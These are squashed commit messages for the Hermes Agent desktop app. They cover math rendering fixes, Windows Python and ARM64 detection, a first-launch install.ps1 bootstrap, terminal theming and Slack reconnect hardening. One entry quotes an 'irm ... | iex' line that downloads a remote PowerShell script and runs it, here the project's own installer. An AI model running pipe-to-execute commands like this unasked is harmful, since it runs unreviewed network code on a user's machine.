exactly once; subsequent tokens re-walk the tree but hit cache for
unchanged equations.
The wrapper mirrors rehype-katex's semantics exactly: same class
detection (language-math, math-inline, math-display), same
<pre>-walk-up for fenced math blocks, same parent.children.splice
replacement, same SKIP traversal, same strict-then-lenient render
strategy with VFile message reporting.
Cached children are structuredCloned on each splice so downstream
rehype plugins or toJsxRuntime can't mutate the cache.
* fix(desktop): declare katex-memo deps directly + drop per-app lockfile
katex-memo.ts (added in 112cad59b) imports hast-util-from-html-isomorphic,
hast-util-to-text, remark-math, katex, and unist-util-visit-parents but
those were never added to apps/desktop/package.json. They were silently
resolving via @streamdown/math at the workspace root, which broke the
moment `npm i --prefix apps/desktop` ran with the per-workspace lockfile
because that install only consults apps/desktop/package.json. Add them
as direct deps, plus unified/vfile/@types/hast for the type imports.
Also delete apps/desktop/package-lock.json — root package.json declares
workspaces: ["apps/*"], so npm manages all lockfile state at the root.
The stale per-app lockfile is what made `npm i --prefix apps/desktop`
diverge from the workspace install in the first place and left an empty
apps/desktop/node_modules/@assistant-ui/ stub that Vite's dep optimizer
then tried (and failed) to open at @assistant-ui/core/dist/internal.js.
* feat(desktop): disable Backdrop noise overlay by default
The noise overlay defaulted to on, which adds a busy speckle layer over
the whole window for every new user. Flip the Leva default to off; the
toggle stays in Backdrop / Noise for anyone who wants it back.
* fix(desktop): polish LaTeX rendering — currency, code blocks, brackets
Five distinct bugs surfaced from a math-heavy stress test:
1. Adjacent code fences glued together. scrubBacktickNoise's
second-pass regex /``\s*``/g matched the LAST 2 backticks of
one fence + whitespace + FIRST 2 backticks of the next, collapsing
two blocks into one. Fixed with lookbehind/lookahead so we only
match exactly 2 backticks not part of a longer run.
2. Whitespace eaten between fences and following content.
stripPreviewTargets internally calls .trim() which strips leading/
trailing whitespace from each split-segment. For segments between
two fences this collapsed \n\n to '', gluing fence close to next
block. Fixed by capturing leading/trailing whitespace at the call
site and restoring it after the transform.
3. Currency dollar signs eaten as math. With singleDollarTextMath:true
remark-math greedy-matched any pair of $, so '$5 ... $10' became
one inline math span. Added escapeCurrencyDollars to escape $<digit>
patterns to \$<digit> in prose segments (not in code). Trade-off:
math expressions starting with a digit (rare — '$5x = 10$') get
escaped too. Mirrors the convention in ChatGPT/Claude's UIs.
4. \(...\) and \[...\] LaTeX brackets unsupported. Models often
emit these instead of $...$ / $$...$$. Added
rewriteLatexBracketDelimiters preprocessor pass.
5. ```latex / ```tex blocks were being routed to KaTeX via a
rewrite to ```math. Aligns with GitHub markdown convention:
```math = render as math; ```latex / ```tex = LaTeX/TeX
source code (syntax highlighted, not rendered). Conflating them
broke teaching/showing-source use cases. MATH_FENCE_LANGUAGES
pruned to {'math'} only.
Also flipped parseIncompleteMarkdown to true (was !isStreaming) so
the math parser can't see $ inside streaming-but-not-yet-closed code
fences. Shiki was already deferred via defer={isStreaming} so this
doesn't introduce new tokenization cost.
Test: 18/18 existing tests still pass; one test updated to expect
escaped \$ in currency-prose-with-URL case.
* fix(desktop): detect Python via registry/filesystem; pin to 3.11–3.13
Two related fixes for Python detection on Windows:
1. py.exe (Python launcher) is missing from per-user installs that
didn't check the launcher option, so 'py -3.X --version' alone
misses real Python installs. User-reported case: clean Win11 +
official Python.org 3.14 install -> 'where py' returned nothing,
our installer offered to install Python again. Both NSIS prereq
page and main.cjs now probe in this order:
1. py.exe launcher (when present)
2. PEP 514 registry: HKLM/HKCU\SOFTWARE\Python\PythonCore\<v>\InstallPath
3. Filesystem: %ProgramFiles%\Python<v>, %LocalAppData%\Programs\Python\Python<v>
Crucially, we never fall back to running 'python.exe' from PATH
on Windows — the WindowsApps stub at %LOCALAPPDATA%\Microsoft\
WindowsApps\python.exe is a redirector that opens the Microsoft
Store window if no Store Python is installed. Triggering that
during boot would be terrible UX. Registry/filesystem probes
never execute the binary.
2. Drop 3.14 from the supported version set. Several Hermes deps
(notably pywinpty, which carries Rust crates like
windows_x86_64_msvc) don't yet publish 3.14 wheels. With wheels
missing, 'pip install -e .' falls back to building from sdist,
which needs a Rust toolchain — users see 'could not compile
windows_x86_64_msvc build script' on first run. install.ps1
sidesteps this by pinning to 3.11 via uv; the desktop installer
doesn't yet have the same uv-managed-Python pathway, so for now
we accept 3.11/3.12/3.13 and tell winget to install 3.11 if
none of those are present. Revisit when the wheel ecosystem
catches up to 3.14 (~early 2026).
* feat(desktop): Cron, Profiles, usage analytics, and titlebar fixes
- Add Cron and Profiles sidebar routes with full CRUD-style flows and API wiring.
- Extend Command Center with auxiliary task overrides and a Usage panel (7d/30d/90d).
- Fix titlebar geometry for WSL/Windows (native overlay width, tool spacing).
- Remove stray merge conflict markers from pyproject.toml optional deps.

* fix(title-bar): position sidebar toggle button
* feat(desktop): composer queue — queue many, edit/delete/cancel-edit, Cursor-style
Press Enter while busy with a draft to queue it; with no draft to interrupt
and send the next queued turn. Auto-drains one queued turn each time the
session settles, same as Cursor. Queue persists across reloads so an
interrupted-and-queued turn isn't lost on refresh.
Each queued row supports edit-in-composer (with explicit Save/Cancel),
send-now (↑), and delete. Drain skips only the entry currently being
edited so the rest of the queue keeps flowing.
Queue dequeue is transactional — an entry only leaves the queue after
`prompt.submit` is accepted, so a rejected submit doesn't drop the turn.
Also shrinks the `[interrupted]` marker to a muted one-liner and drops
its assistant footer so it stops looking like a real reply.

* feat(desktop): add MCP settings and live subagent tree
Surface configured MCP servers in Settings with JSON edit/save and a gateway-backed reload action so users can manage tool servers without falling back to slash commands.
Track live subagent gateway events in a desktop store, show active subagent counts in the Agents statusbar item, and replace the Agents overlay stub with a live spawn tree for the active session.
* fix(desktop): move power-user views out of sidebar
Keep Cron and Profiles available through lower-prominence chrome entry points so the workspace sidebar stays focused on core chat navigation.
Co-authored-by: Cursor <cursoragent@cursor.com>
* refactor(desktop): subagent overlay reads like a live transcript, not a dashboard
Strip the card chrome and rewire /agents to feel like peeking into the
child agent's stream:
- subagents store: single `stream` of typed entries (thinking/tool/progress/
summary) replaces the parallel notes/thinking/tools arrays. Drop unused
fields (toolsets, depth, apiCalls, reasoningTokens, sessionId).
- agents view: no OverlayCards, no boxed stream, no per-row borders. Goal +
status pill + indented stream lines, full row width.
- Group root spawns into "Delegation N" sections when batch shape + spawn
time match — hides task-index interleaving and makes hierarchy obvious.
- Sort tree by spawn time, then task_index. Step indicator is one colored
pill (primary while running, emerald when done) inside the row, not a
trailing pill that wrapped under the chevron.
- Tree picks up `subagent.start` (not only `spawn_requested`) and prunes
delegate-tool fallback rows once native subagent events land for the
session — fixes duplicate "Delegated task" rows alongside the real ones.
* feat(desktop): Esc closes every OverlayView-based overlay
Lift the keyboard handler into the shared OverlayView so Agents, Settings,
Command Center — and anything we build on top of it later — all dismiss on
Esc by default. Nested Radix dialogs stop propagation themselves, so a
modal opened inside an overlay (e.g. model picker inside Settings) still
closes the modal first, not the overlay underneath.
Drop the now-redundant Esc handlers in Settings (kept Cmd/Ctrl+P) and
Command Center.
* fix(desktop): drop numbered step pill on subagent rows
The pill was getting clipped at the overlay edge anyway. Just use the
status glyph (●/✓/✗/■/○) — the delegation header already conveys
"3 workers, 3 active", and order in the list implies which step you're
looking at.
* fix(desktop): drop noisy "returned N items / empty object" stub strings
When a tool returns nothing useful, the row should be silent — the title
("Search Files", etc.) already tells the user what happened. Counting the
fields in an opaque payload is engineer-noise.
`formatToolResultSummary` and `minimalValueSummary` now return '' for
empty arrays / records / unrecognized values; tool-fallback already hides
the detail section when its body is empty.
* refactor(desktop): subagent rows borrow chat tool patterns (fade-in, lucide glyphs, shimmer)
Pull the agents view closer to how chat tool blocks render:
- statusGlyph() returns the same lucide BrailleSpinner / CheckCircle2 /
AlertCircle vocabulary as tool-fallback's statusGlyph
- Stream lines fade-in via useEnterAnimation (one-shot WAAPI), keyed per
entry so streamed deltas settle in instead of popping
- Subagent rows fade in too, and pick up the existing data-slot=tool-block
spacing rules between blocks
- Active stream line trails a BrailleSpinner instead of a hand-rolled
pulsing rectangle
- Goal text drops FadeText (which forces nowrap); keep FadeText only for
the single-line meta subtitle
- Running rows shimmer the title — same affordance the chat thinking row
uses
* refactor(desktop): make /agents subagent-only, drop sidebar + dead sections
Activity rail and History stub were both noise. Strip the split layout,
sidebar, route enum, and the rail/stub helpers — the overlay is now just
the spawn tree, centered in a max-w-3xl column so it stops claiming the
whole screen for one section's worth of content.
* feat: update cron modals
* Add dedicated GUI log stream for dashboard debugging.
Capture dashboard and PTY websocket lifecycle failures in gui.log and expose it via hermes logs.
* Improve desktop runtime UX by surfacing inference readiness in gateway status and hardening WSL link opening.
This also stabilizes markdown code/table block spacing and adds root-install guards so desktop dev runs use a healthy workspace dependency tree.
* Log detailed GUI websocket failure metadata.
Capture richer reject/disconnect/send/parse context for dashboard gateway websocket flows so GUI connection failures are diagnosable from logs.
* Default dashboard startup logging to GUI mode.
Detect the dashboard subcommand during early CLI bootstrap so gui.log is attached from process start and GUI startup failures are always captured.
* Clean up gateway status conditionals and logging bootstrap mode detection.
Simplify nested dashboard gateway status branches for readability and use a concise first-subcommand check when selecting early GUI logging mode.
* add logging to nsis installer
* feat: glass ui pass
* fix(desktop): persist inline assistant errors across hydrate/resume
- Detect provider failure text arriving via message.complete
(HTTP 4xx, "API call failed after N retries", Provider/Gateway
error: ...) and persist as an inline assistant error instead of
regular completion text, blocking the hydrate that was wiping it.
- preserveLocalAssistantErrors: merge by id so same-id hydrated
messages keep their local error, and preserve the optimistic
user+error pair as a unit (with tail-user dedupe).
- Hook all hydrate/resume writers (use-session-actions resume +
fallback, hydrateFromStoredSession, syncSessionStateToView) into
the merge so stale snapshots can't clobber a failed turn.
- Add error to chatMessagesEquivalent so the resume diff actually
sees error-only changes and paints them.
- editMessage on a failed turn now submits a plain resend (no
truncate_before_user_ordinal) and retries plainly on the
"no longer in session history" race.
Style polish on touched files:
- Inline error: text-only treatment (no card).
- User stop / edit-composer send: shared Tabler IconPlayerStopFilled
glyph + shared icon-button class slot for parity.
* feat(desktop): theme xterm with active light/dark mode
The right-sidebar terminal hardcoded a light palette, which read poorly
on the dark glass surface. Subscribe to `useTheme().resolvedMode` and
hot-swap `term.options.theme` so Shift+X (and any other mode change)
updates the terminal in place without tearing down the PTY session.
Dark mode uses xterm's built-in defaults (white fg/cursor + vivid ANSI
16) with just a transparent background so the glass shows through;
light mode keeps the existing hand-tuned overrides for legibility on a
bright surface.
* feat(sidebar): right-click + drag-reorder sessions and workspaces
- Wire right-click on session rows to open the same actions menu;
suppresses the OS-native context menu so Windows stops looking awful.
- Share dropdown + context menu items via useSessionActions() driving
a single declarative ItemSpec[]; render polymorphic over MenuItem.
- New shadcn ContextMenu primitive mirroring DropdownMenu styling.
- Restore drag-and-drop reordering for Agents (lost during the cwd
cleanup) and add reordering of workspace groups via a right-side
grab handle. Pinned reorder unchanged.
- Generic orderByIds<T> replaces the duplicated session/group orderers;
useSortableBindings() hook collapses the two Sortable wrappers.
- cursor-pointer on every actionable element; cursor-grab on handles.
- KISS pass: baseName() helper, AGE_TICKS table, single WORKSPACE_PAGE
constant, flatter SidebarSessionsSection render.
* feat(desktop): solarize the xterm palette in both light & dark
xterm's default ANSI 16 is tuned for dark and reads candy-bright on the
light glass surface (vivid cyans/greens). Ship the canonical Solarized
palette (Schoonover) for both modes — same 16 accents either way, only
fg/cursor swap between `base00/01` (light) and `base0/1` (dark), so a
prompt's colors look uniform across a Shift+X toggle.
Background stays transparent in both modes — Solarized's cream/slate
backgrounds would fight the glass.
* feat(desktop): virtualize chat thread + sidebar via TanStack Virtual
Replaces `use-stick-to-bottom` and per-row session rendering with
`@tanstack/react-virtual`, matching what Cursor uses.
Chat thread (`thread-virtualizer.tsx`):
- Natural-flow virtualization (padding spacers, not absolute items) so
`position: sticky` on the human bubble still resolves cleanly against
the scroller.
- Custom at-bottom anchor: pins when armed, disarms on user-driven
upward scroll, re-arms at bottom, jumps on session switch +
`thread.runStart`.
- Loading indicator and `--thread-last-message-clearance` move to a
real `[data-slot=aui_composer-clearance]` node; drops the brittle
`:nth-last-child(1 of …)` rule that can't fire reliably under
virtualization.
Sidebar (`virtual-session-list.tsx`):
- Flat agents list virtualizes at >=25 rows; pinned and
workspace-grouped paths stay direct-render.
- `SortableContext` keeps all IDs; only the window mounts; dnd-kit's
`setNodeRef` is merged with `virtualizer.measureElement` so rows
participate in both DnD hit-testing and TanStack measurement.
Drops `use-stick-to-bottom`. Streaming test gets a global
`offsetWidth/offsetHeight` stub so the virtualizer's viewport sizing
works in jsdom; the scroll-up-doesn't-pull-back invariant still passes.
* feat: more ui qa
* fix(desktop): trim sidebar terminal startup spacer
Drop zsh's initial spacer row before writing the first terminal prompt so new sidebar terminal sessions do not open with a selectable blank line.
* chore: uptick
* feat(desktop): thin installer + first-launch install.ps1 bootstrap
Converges the Windows packaged desktop installer onto a single canonical
install topology: drop the Electron shell only (~80MB instead of ~500MB),
clone Hermes Agent at a build-time-pinned commit on first launch via
install.ps1's stage protocol, and treat the resulting git checkout at
%LOCALAPPDATA%\hermes\hermes-agent\ as the canonical install location
(same path the CLI installer uses). Future updates flow through the
existing applyUpdates() git-pull path.
Replaces the previous fat-installer architecture where the .exe bundled
a pre-staged hermes-agent source tree under resources/hermes-agent/ that
was then sync'd into ACTIVE_HERMES_ROOT at launch -- a complicated
factory-vs-active dance with several footguns (FACTORY_HERMES_ROOT
mismatch on path resolve, isGitCheckout guard regressions, pyproject
hash drift detection inside the sync loop).
Architecture overview
---------------------
Build time
apps/desktop/scripts/write-build-stamp.cjs writes
apps/desktop/build/install-stamp.json with {commit, branch, builtAt,
dirty}. Honours $GITHUB_SHA / $GITHUB_REF_NAME in CI, falls back to
`git rev-parse HEAD` locally.
apps/desktop/scripts/stage-native-deps.cjs copies the runtime subset
of @homebridge/node-pty-prebuilt-multiarch from the workspace-root
node_modules into apps/desktop/build/native-deps/. Workspace dedup
hoists this dep to the root, out of reach of electron-builder's
`files:`-restricted collector; staging gives us a deterministic
path to extraResources.
electron-builder ships both into resources/install-stamp.json and
resources/native-deps/ respectively.
Boot resolver (electron/main.cjs)
Resolver order:
1. HERMES_DESKTOP_HERMES_ROOT override
2. SOURCE_REPO_ROOT (dev mode)
3. ACTIVE_HERMES_ROOT git checkout WITH .hermes-bootstrap-complete
marker -- the post-install fast path
4. `hermes` on PATH (CLI-installed user adding the desktop)
5. pip-installed hermes_cli via system Python
6. bootstrap-needed sentinel -> hand off to runBootstrap
Deletes the entire FACTORY_HERMES_ROOT / RUNTIME_MARKER /
syncTreeExcludingVenv machinery (-200 lines). The isGitCheckout
guard that bit us in the install.ps1 PR is gone.
First-launch bootstrap (electron/bootstrap-runner.cjs)
1. Resolve install.ps1: prefer SOURCE_REPO_ROOT/scripts (dev), else
download from GitHub raw at INSTALL_STAMP.commit (cached at
HERMES_HOME\bootstrap-cache\install-<sha>.ps1).
2. Fetch the stage manifest via install.ps1 -Manifest -Commit X
-Branch Y.
3. Iterate stages: install.ps1 -Stage <name> -NonInteractive -Json
-Commit X -Branch Y per stage.
4. On all stages green: write the .hermes-bootstrap-complete
marker with {schemaVersion, pinnedCommit, pinnedBranch,
completedAt, desktopVersion}.
Per-run log to HERMES_HOME\logs\bootstrap-<ts>.log. Cancellation
via AbortSignal. Manifest cache so retries don't re-download.
Install overlay (src/components/desktop-install-overlay.tsx)
Mounted alongside the existing onboarding overlay; flexbox card
with header (static) + middle (scrollable) + footer (failure-only,
static). Subscribes to hermes:bootstrap:event IPC + resyncs from
hermes:bootstrap:get on mount/reload. Renders:
- 14-stage checklist with per-stage state icons
- Overall progress bar + current-stage spotlight
- Auto-expanded installer-output panel on failure
- "Copy output" button (full ring buffer + error to clipboard)
- "Reload and retry" wired through hermes:bootstrap:reset to
clear main.cjs's latched failure
Synthetic empty-manifest event from main.cjs flips the overlay to
'active' immediately so the slow install.ps1 download doesn't
leave the user staring at the generic Preparing splash.
Failure latching (main.cjs)
bootstrapFailure module-scope variable holds the rejection after
install.ps1 fails. startHermes() throws the latched error
immediately when set, bypassing the entire ensureRuntime +
runBootstrap chain. Without this, the renderer's ensureGatewayOpen
retries would re-run install.ps1 in a 5-10 min hot loop while the
user was still reading the failure overlay. Cleared via
hermes:bootstrap:reset on user-driven retry.
Unsupported-platform overlay (1F)
macOS / Linux packaged builds (no install.sh stage protocol yet)
emit an unsupported-platform event with a copy-pasteable install
command + docs URL. Dedicated overlay branch with "Copy command"
+ "I've run it -- retry" buttons.
install.ps1 additions (Phase 1F.3 + 1F.5)
-----------------------------------------
New -Commit and -Tag string params. Precedence Commit > Tag >
Branch. Honoured by all three code paths (update / fresh clone /
ZIP fallback), with archive URL selection that handles each
ref-type variant. Detached-HEAD checkouts intentionally -- they're
pins, not branches the user pulls into.
EAP=Continue wrap around the new pin-step git invocations. `git
fetch origin <commit>` writes the routine 'From <url>' info line to
stderr; under the script's global EAP=Stop that terminates the
script even though fetch+checkout succeed. Matches the established
pattern in Install-Uv, Test-Python, _Run-NpmInstall.
Backend fix (hermes_cli/web_server.py)
--------------------------------------
CORS allow_origin_regex now accepts Origin: 'null'. Packaged
Electron loads index.html via file://; Chromium sets the WebSocket
upgrade Origin header to the opaque origin 'null', which the old
regex rejected with HTTP 403 before gateway_ws() ever ran. This
failure mode was masked in the older FACTORY_HERMES_ROOT
architecture because the resolver often found an existing hermes
on PATH with different binding behavior.
Security maintained: localhost-only bind keeps cross-machine pages
out; per-process session token still gates every authenticated
/api/ endpoint regardless of Origin.
Desktop QoL
-----------
DevTools is now enabled in packaged builds (F12 / Cmd+Opt+I).
Field-debugging trade-off: tiny attack surface increase versus
a much better support story when CSP / WS / theme issues surface.
NSIS prereq-check page deleted (-767 lines). The standard
Welcome -> License -> Directory -> InstallFiles -> Finish wizard
now installs without custom Python/Git/ripgrep detection -- those
prereqs are install.ps1's job at first launch.
Test infrastructure (Phase 1G)
------------------------------
apps/desktop/scripts/test-desktop.mjs rewritten as a cross-platform
bundle validator (was darwin-only and asserted on dead factory-
payload paths):
NEGATIVE: hermes_cli/main.py is NOT shipped (regression guard)
POSITIVE: install-stamp.json carries a real commit + branch
POSITIVE: node-pty native deps shipped under resources/native-deps
POSITIVE: renderer dist/index.html reachable (asar or unpacked)
New nsis mode and npm run test:desktop:nsis script.
Validated end-to-end on clean Win10 VM
--------------------------------------
Confirmed: NSIS installer drops Electron shell, app launches,
install overlay shows progress, install.ps1 clones the pinned
commit, 14 stages run to completion, marker written, backend
spawns, WebSocket connects, onboarding overlay asks for API key,
main UI loads, integrated terminal works.
Failures handled: bootstrap stays failed (no hot-loop retry),
"Copy output" gives actionable transcript, "Reload and retry"
explicitly re-runs install.ps1.
What's deferred
---------------
- MSIX wrapping (Phase 2): same Electron .exe under MSIX manifest
with runFullTrust, signed and submitted to Microsoft Store.
- install.sh stage protocol parity (Phase 2): once shipped, the
unsupported-platform overlay becomes drive-it-yourself and
macOS/Linux packaged installers gain feature parity with Windows.
* feat(desktop): persistent terminal pane + fullscreen takeover
Adds a VSCode-style "focus terminal" toggle to the right sidebar's Terminal
tab that takes over the chat pane area without unmounting the shell. The
xterm host is mounted once at the layout root and CSS-overlayed onto
whichever <TerminalSlot /> is currently active, so the PTY session,
scrollback, selection, focus, and WebGL renderer survive every toggle.
Also:
- WebGL renderer (matching dashboard ChatPage) so Hermes' TUI skins paint
faithfully instead of muting through xterm's default DOM renderer
- File drag/drop from the project tree or OS into xterm — paths are
shell-quoted (zsh/bash/pwsh/cmd) and written straight into the PTY
- Solarized dark canvas with brights promoted to real accent variants
(Schoonover's UI-gray brights washed out every TUI accent)
- Strip NO_COLOR/FORCE_COLOR/COLORFGBG/TERM=dumb leaking from non-tty
parents (CI runners, Cursor's agent shell) so the embedded shell gets
truecolor regardless of how Electron was launched
- rAF-debounced ResizeObserver — running fit.fit() synchronously during
sibling pane transitions crashed the WebGL texture-atlas rebuild
* fix(install.ps1): strip UTF-8 BOM regression that broke 'irm | iex'
The canonical install flow
irm https://raw.githubusercontent.com/.../scripts/install.ps1 | iex
fails on PowerShell 5.1 with a cascade of 'The assignment expression
is not valid' errors at every param() default value:
[string]$Branch = 'main',
~~~~~~
The assignment expression is not valid. The input to an assignment
operator must be an object that is able to accept assignments...
Root cause: scripts/install.ps1 carries a UTF-8 BOM (0xEF 0xBB 0xBF)
as its first three bytes. 'irm' returns the response body as a string;
on PS 5.1 the BOM survives into that string as a leading \ufeff
character. 'iex' then evaluates the string and PS's parser chokes
on the invisible character before param() -- error recovery proceeds
into the body but every assignment is reported as broken.
This was the exact failure mode the install.ps1 hardening pass (PR
#27224) deliberately fixed by stripping the BOM and ensuring the
file body is pure ASCII. Commit 4279da4db ('fix(windows): make
PowerShell installer parse in 5.1') re-introduced the BOM later,
unintentionally undoing the irm|iex compatibility fix; the merge
that brought it into bb/gui carried it forward.
Fix: strip the three BOM bytes. File body is verified pure ASCII
(any-byte > 127 returns false), so PS 5.1 with no BOM falls back to
Windows-1252 decoding which is identical to ASCII for our content.
Both install paths now work:
- 'irm ... | iex' (canonical CLI)
- 'powershell -File install.ps1' (programmatic / desktop bootstrap)
* install.ps1: detect ARM64 Windows reliably for Node and Git stages
Add a Get-WindowsArch helper that reads Win32_Processor.Architecture
via CIM (invariant to PowerShell host bitness) with PROCESSOR_ARCHITEW6432
fallback. Use it in:
- Install-Git: previously only triggered the arm64 PortableGit asset
when invoked from a native-ARM64 PowerShell host. WoW64 / emulated
x64 hosts (the default powershell.exe on Windows-on-ARM) saw
PROCESSOR_ARCHITECTURE=AMD64 and fell through to the x64 PortableGit
build, leaving ARM64 users on emulated Git for Windows.
- Test-Node: previously hardcoded the Node download to win-x64 on any
64-bit OS, so ARM64 users always got x64 Node under Prism emulation
even though Node ships an arm64 build for Windows. The winget
fallback now also passes --architecture arm64 on ARM64.
Python remains x86_64 by design: uv intentionally prefers
windows-x86_64 cpython on ARM64 hosts for ecosystem (wheel)
compatibility (see astral-sh/uv#19015).
* install.ps1: harden Install-SystemPackages against winget msstore failures
The previous winget invocation discarded stdout/stderr and trusted no
signal at all -- not the exit code (winget exits 0 even when it bails
"please specify --source"), not output (sent to Out-Null), not the
catch handler (winget returning 0 means no exception fires). The only
trust signal was a post-install Get-Command rg / Get-Command ffmpeg
check, which would also miss the package because %LOCALAPPDATA%\
Microsoft\WinGet\Links (where winget puts command aliases) is added to
PATH by AppExecutionAlias machinery only in fresh shells. End result on
machines where the msstore source has a cert problem (0x8a15005e --
common on Windows-on-ARM and some corporate networks): silent failure,
no log, no breadcrumb, and the user is told the install succeeded.
Specifically:
- Pin --source winget on every winget install call. Defeats the broken-
msstore-source path. We ship nothing from msstore so this is safe and
forward-compatible.
- Add --exact --id for a tighter package match.
- Capture each winget invocation's combined stdout/stderr + exit code to
%TEMP%\hermes-winget-<pkg>-<n>.log instead of Out-Null. On the happy
path the log is deleted after the post-install check confirms the
binary is on PATH; on failure the log is kept and its path is named in
a Write-Warn so the user has something to grep.
- Refresh PATH to include %LOCALAPPDATA%\Microsoft\WinGet\Links in
addition to the User/Machine env-var hives, so Get-Command sees newly-
installed winget aliases in the same process.
- No behavior change on the happy path. Same Write-Info/Success/Warn
cadence, same fallback order (winget -> choco -> scoop -> manual),
same $script:HasRipgrep / $script:HasFfmpeg outputs.
Verified end-to-end on a real Snapdragon ARM64 Windows host: ripgrep
uninstalled, stage re-run, [OK] ripgrep installed in 1.4s, ok:true.
* desktop: swap node-pty fork for upstream microsoft/node-pty 1.1.0
The previous dependency, @homebridge/node-pty-prebuilt-multiarch@0.13.1,
publishes no win32-arm64 prebuilds on its v0.13.x line, and its v0.14.x
betas (which do add an arm64 Windows build) ship no electron-vXXX-win32-
arm64 prebuilds at all -- so packaged Electron 40 builds (NMV 143) would
fail at runtime even on a successful npm install. Net effect: the
desktop's integrated terminal was unbuildable on Windows-on-ARM, in
both dev (npm install fails: 404 fetching the node-vXXX-win32-arm64
prebuilt) and packaged builds (no Electron-ABI prebuilt exists).
The homebridge fork was originally created because upstream node-pty
shipped no prebuilds at all. That hasn't been true since node-pty@1.0
(April 2024), which:
- bundles prebuilts for mac (arm64+x64) and Windows (arm64+x64) directly
inside the npm tarball -- no GitHub-Releases fetch, no missing-binary
failure mode
- uses N-API (node-addon-api) for ABI stability across Node and Electron
major versions, so the same pty.node binary loads under Node 22 (dev)
and Electron 40+ (packaged) without per-ABI rebuilds
- is what VS Code, Hyper, and Theia actually ship
API surface is identical (spawn / onData / onExit / write / resize /
kill) -- no call-site changes needed.
Specifically:
- apps/desktop/package.json: replace the @homebridge fork with
node-pty@1.1.0 (exact pin). Widen `asarUnpack` from `["**/*.node"]`
to also unpack `**/prebuilds/**`, because node-pty ships runtime-
execed helpers alongside its .node files (darwin spawn-helper has no
extension and would not be matched by `**/*.node`; conpty.dll,
OpenConsole.exe, winpty.dll, winpty-agent.exe on Windows are also
exec'd at runtime and cannot live inside asar).
- apps/desktop/electron/main.cjs: update both require() strings to
match the new package name and the new staged path under
resources/native-deps/node-pty/.
- apps/desktop/scripts/stage-native-deps.cjs: point at node_modules/
node-pty. node-pty's prebuilts live under prebuilds/<plat>-<arch>/
(not build/Release/), so update the include glob to copy that dir.
Per-arch staging keeps the resource bundle small (target arch comes
from npm_config_arch when electron-builder cross-builds, else
process.arch). Explicitly enumerate file types in the prebuilds glob
so the ~25 MB of .pdb debug symbols that prebuild-install bundles
for Windows crash analysis don't bloat the installer (29 MB -> 2.6 MB
staged on win32-arm64). Re-assert +x on the darwin spawn-helper
defensively, since a stripped mode bit would manifest as a silent
ENOENT at first pty.spawn().
- apps/desktop/scripts/test-desktop.mjs: update expectedNativeDepPaths()
and its assertion site to look at prebuilds/<plat>-<arch>/ instead of
build/Release/. Add an explicit spawn-helper-exists check on darwin
so a regression in the asarUnpack glob would fail loudly in CI rather
than at first PTY spawn.
Trade-off: Linux end-users lose prebuilts and fall back to building
node-pty from source on `npm install`. Acceptable because Hermes
ships no Linux desktop builds (desktop-release.yml matrix is mac + win
only, package.json declares no `linux` target), and Linux developers
hacking on the desktop already need a C++ toolchain for the rest of
the stack.
Verified on Windows 11 ARM64 (Snapdragon):
npm install -> exit 0
node -e "require('node-pty').spawn(...)" round-trip -> OK
stage-native-deps -> 27 files, 2.6 MB
load from staged tree (simulates packaged fallback) -> ConPTY
round-trip OK
* desktop+gateway: harden Slack socket recovery and Windows restart dedupe (#28873)
* desktop+gateway: harden Slack socket recovery and Windows restart dedupe
Fix Slack Socket Mode reliability by adding a watchdog/reconnect path so silent socket task drops no longer leave the adapter stuck. Harden Windows gateway lifecycle by avoiding desktop-binary path collisions, making gateway PID scans case/extension tolerant, and reusing in-flight restart actions to prevent duplicate gateway spawns.
* test(slack): add Socket Mode watchdog/reconnect behavioural coverage
Drive the new Slack Socket Mode self-healing logic through a fake AsyncSocketModeHandler so we can simulate the P0 silent-hang failure mode (task exit, transport disconnected, intentional shutdown, concurrent reconnect attempts) without touching real Slack.
* fix(slack,desktop): address Copilot review on watchdog races and path normalization
- connect(): explicitly cancel + await the prior socket watchdog before flipping _running, so an old monitor cannot exit between teardown and respawn (Copilot #1)
- _socket_watchdog_loop: wrap the body in try/except + add a done-callback that respawns on unexpected crash, so a transient bug cannot permanently disable self-healing (Copilot #2)
- normalizeExecutablePathForCompare: use the resolved path for realpathSync so non-string inputs cannot leak through (Copilot #3)
- Add tests for crash-recovery and atomic watchdog replacement across reconnects
* fix(slack): tighten connect() error path and clarify watchdog test intent
Address Copilot review round 2.
- connect(): wrap _start_socket_mode_handler/_ensure_socket_watchdog in a focused try/except so any failure rolls back partially-started handler/task state and leaves _running=False, ensuring the platform lock is always released by the outer finally
- Defer _running=True until after the handler is actually started so the watchdog observes a live socket task immediately and never spins against a half-built adapter
- Rename test_watchdog_self_restarts_after_unexpected_crash to test_watchdog_cancellation_does_not_respawn (matches what it actually asserts) and add test_watchdog_unexpected_exit_respawns_via_done_callback that drives a real RuntimeError through _on_socket_watchdog_done and verifies a fresh task replaces the crashed one
* fix(web_server): serialize action spawn check+store under a threading lock
Address Copilot review round 3.
FastAPI runs sync handlers on its threadpool, so two near-simultaneous /api/gateway/restart (or /api/hermes/update) requests could both observe "no live process" in _spawn_hermes_action's poll-based dedupe and double-spawn. Add a module-level _ACTION_SPAWN_LOCK around the entire check + Popen + _ACTION_PROCS store sequence so the dedupe is atomic across threads.
* fix: address Copilot review round 4
- slack.disconnect(): mirror connect()'s defensive cleanup — catch the broad Exception path on watchdog await so handler shutdown and lock release still run if the watchdog raised before cancellation took effect
- web_server._spawn_hermes_action: wrap subprocess.Popen in try/except so a missing executable / permission error closes the log file handle, writes a failure marker, and re-raises instead of leaking a file descriptor
- gateway._scan_gateway_pids: drop the over-broad "hermes.exe --profile" / "hermes.exe -p" patterns that would match any Hermes CLI subcommand using a profile flag (e.g. `hermes.exe --profile foo dashboard`); rely on the "hermes.exe gateway" + "hermes-gateway.exe" tokens instead
- tests: tighten _fake_create_task to assert coroutine input and return a real asyncio.Task that stays pending until pytest teardown, and update the three callsites whose mocked AsyncSocketModeHandler.start_async returned a non-coroutine value
* fix(slack): reset multi-workspace state on reconnect
Address Copilot review round 5.
connect() is reentrant (gateway restart, in-process reconnect), but it was leaving _bot_user_id / _team_clients / _team_bot_user_ids populated from the previous session. A reconnect that rotated the primary token or dropped a workspace would silently keep the stale bot user id and stale workspace client maps, leading to dispatch against gone workspaces.
Clear these three pieces of state right after _stop_socket_mode_handler() and before the auth_test loop, then let the loop repopulate from the current tokens. Add test_reconnect_refreshes_multi_workspace_state to lock it in.
* nix: package apps/desktop as .#desktop (#28964)
Adds nix/desktop.nix building the Electron renderer with buildNpmPackage
and wrapping nixpkgs' electron binary. Reuses .#default by setting
HERMES_DESKTOP_HERMES to its hermes binary, so the desktop's resolver
